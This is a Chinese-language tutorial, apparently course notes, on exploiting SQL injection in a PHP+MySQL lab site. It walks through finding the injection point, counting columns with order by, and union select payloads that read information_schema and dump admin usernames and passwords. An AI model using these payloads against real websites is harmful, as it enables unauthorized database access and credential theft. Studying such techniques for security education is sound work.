1. 程式人生 > >SQL註入漏洞的分析與利用(三)

SQL註入漏洞的分析與利用(三)

和數 form 打開 用戶 data 用戶名 text 必須 存儲

MySQL數據庫:

元數據庫information_schema
1.在5.0以後版本的MySQL中存在著一個元數據庫information_schema,其中存儲著用戶在MySQL中創建的所有其他數據庫的信息
2.在對php+mysql類網站進行註入時,主要就是針對information_schema數據庫進行操作


information_schema中比較重要的數據表
1.schemata:用於存放所有數據庫的名字
2.tables:用於存放所有數據庫中的數據表的名字
3.columns:用於存放所有數據庫的所有數據表中所有字段的名字

php+mysql註入

實驗環境:
實驗平臺: NPMserv(必須放在根目錄下使用)

目標網站: 平臺上的網站

MySQL基本操作
1.select version(); 查看mysql版本
2.select user(); 查看當前用戶
3.select database(); 查看當前打開的數據庫
4.show database; 查看mysql中共有那些數據庫
5.use test; 打開test數據庫
6.show tables; 顯示數據庫中的表
常規操作
判斷可顯示字段
union select 1,2,3,4
MySQL中在執行聯合查詢時,後面的查詢語句不必非要指定數據表名,這點區別於Access
所以可執行:
技術分享圖片

1.判斷是否為註入點

技術分享圖片
顯示正常
技術分享圖片
顯示不正常
由此可以判斷出是一個註入點

2.使用order by 猜出字段數
技術分享圖片
可知字段數為4
3.執行union查詢
技術分享圖片
不必非要指定數據表的名字
技術分享圖片
在前面加一個and 1=2使得頁面得出後面的內容
因為元數據庫只有在5.0版本之後才有,所以要得到數據庫版本
技術分享圖片
技術分享圖片

4.爆出敏感信息
1.爆出當前用戶名和數據庫名
union select 1,2,user(),database(),4
2.爆出govcn數據庫中包含的數據表
union select 1,table_name,3,4 from information_schema.tables where table_schema="govcn"
通過group_concat()函數可以顯示字段中的所有內容。

技術分享圖片

得出結果:

技術分享圖片

5.利用information_schema查看其他數據庫的內容
1.查看test數據庫中包含了那些表
select table_name from information_schema.tables where table_schema="test";
2.查看hack數據表中包含了哪些字段
select column_name from information_schema.columns where table_name="hack";

爆字段名:
union select 1,username,password,4 from information_schema.columns where table_name="admin"

爆用戶名和密碼

union select 1,username,password,4 from admin
union select 1,unhex(hex(username)),unhex(hex(password)),5 from admin

利用unhex(hex())函數進行編碼轉換,解決網站編碼不一致的問題

技術分享圖片


曲廣平老師課程的學習筆記

SQL註入漏洞的分析與利用(三)